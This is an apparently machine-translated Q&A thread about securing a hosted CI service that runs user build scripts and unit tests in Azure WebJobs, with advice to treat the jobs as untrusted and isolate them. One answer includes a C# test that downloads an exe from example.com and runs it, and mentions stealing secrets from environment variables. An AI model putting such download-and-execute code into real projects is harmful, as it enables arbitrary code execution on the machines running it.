我正在構建一個允許用戶執行msbuild腳本和可執行文件(nunit,nuget,vs-test等)的產品。這是一個託管的持續集成服務。這些任務運行在一個天藍色的webjob上下文中。我能做些什麼來防止用戶運行惡意代碼?如何保護azure webjob代碼執行?
我們不允許用戶直接運行可執行文件,但他們可以從單元測試或msbuild腳本運行任何他們想要的東西。有什麼我可以做,以防止他們傷害我的網絡作業或運行「壞」exes?
我正在構建一個允許用戶執行msbuild腳本和可執行文件(nunit,nuget,vs-test等)的產品。這是一個託管的持續集成服務。這些任務運行在一個天藍色的webjob上下文中。我能做些什麼來防止用戶運行惡意代碼?如何保護azure webjob代碼執行?
我們不允許用戶直接運行可執行文件,但他們可以從單元測試或msbuild腳本運行任何他們想要的東西。有什麼我可以做,以防止他們傷害我的網絡作業或運行「壞」exes?
我不確定你在爲這個問題尋找什麼範圍。但我不認爲有一個簡單的方法可以完成這個特定於WebJobs的工作。它必須是您在系統設計中要注意的事情。
我們不允許用戶運行的可執行文件直接
這是不是真的。如果你正在運行用戶代碼,你不能再假設這一點。沒有什麼能阻止我寫這樣的單元測試,對吧?
[Test]
public static RunRandomExe()
{
var webClient = new WebClient();
webClient.DownloadFile("http://example.com/random.exe", @"%temp%\random.exe");
Process.Start(@"%temp%\random.exe");
}
,如果你有發言權的應用程序設置或ENV瓦爾祕密,沒有什麼閱讀他們,他們要麼發送到一個隨機URL停止單元測試。
您可以做的最好的事情是設計您的系統,假設WebJob完全不受信任。你必須假設你放入你的AppSettings,環境變量,文件系統等的任何祕密都可以被WebJob訪問。 WebJob留下的任何工件都可以在隨後的運行中訪問,並且將WebJob對機器的改變將影響後續的WebJobs等。單元測試可以在機器上創建另一個WebJob,可以運行並完全監控/接管您的網站。
不過,好消息是,Azure的Web應用程序保證是單獨的Web應用程序是彼此完全隔離,並在一個非常緊密的沙盒環境中運行,即使它們在相同的物理虛擬機上運行(即:在相同的應用程序服務計劃)
所以,如果你:
您肯定沒有什麼會影響您的系統。
這當然不能解決WebJob訪問祕密的問題。唯一的解決方案是不讓WebJob獲得任何祕密。把整件事視爲不可信。因此,您可以擁有一個爲您運行作業的站點池,觸發作業運行,只信任作業中的原始日誌輸出,並從池中刪除該站點,併爲該站點創建替代站點。在主要訂閱中的站點中運行不受信任代碼的另一個主要問題是,您將爲從Azure門戶上傳到訂閱的任何證書授予不可信代碼訪問權限。因此,您必須在完全獨立訂閱的網站中運行這些不受信任的內容。
我知道這是一個巨大的麻煩,但我想不出任何其他方式可以保證您的系統和用戶的安全。如果你要運行不可信的代碼,你將會陷入一個複雜的世界。
我希望有幫助。